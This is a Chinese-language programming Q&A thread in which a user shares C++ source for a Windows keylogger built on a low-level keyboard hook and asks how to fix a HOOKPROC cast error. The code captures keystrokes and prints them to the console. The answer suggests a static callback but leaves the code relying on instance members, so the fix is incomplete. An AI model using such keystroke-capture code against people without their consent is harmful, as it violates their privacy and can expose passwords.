我正在开发键盘记录器,这就是我得到的
Keylogger.h:
#pragma once
#include <stdio.h>
#include <windows.h>
class Keylogger
{
KBDLLHOOKSTRUCT kbdStruct;
BYTE keyState[256];
WCHAR buffer[16];
public:
HHOOK hKeyHook;
Keylogger(void);
~Keylogger(void);
LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
};
Keylogger.cpp:
#include "Keylogger.h"
Keylogger::Keylogger(void)
{
}
Keylogger::~Keylogger(void)
{
}
LRESULT WINAPI Keylogger::KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if( (nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)) )
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState((PBYTE)&keyState);
ToUnicode(kbdStruct.vkCode, kbdStruct.scanCode, (PBYTE)&keyState, (LPWSTR)&buffer, sizeof(buffer) / 2, 0);
printf("%X\t%c\n", buffer[0], buffer[0]);
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
main.cpp中:
#include "Keylogger.cpp"
int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow)
{
Keylogger kl = Keylogger();
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
UnhookWindowsHookEx(kl.hKeyHook);
return 0;
}
在以下行kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) kl.KeyEvent, GetModuleHandle(NULL), 0);
我收到错误C2440:'type cast':无法从'overloaded-function'转换为'HOOKPROC'
有没有办法解决这个问题?
答案 0 :(得分:3)
WinAPI主要是一个C编程接口,因此它不了解类。回调应该是静态的:
static LRESULT WINAPI KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
然后
kl.hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) Keylogger::KeyEvent, GetModuleHandle(NULL), 0);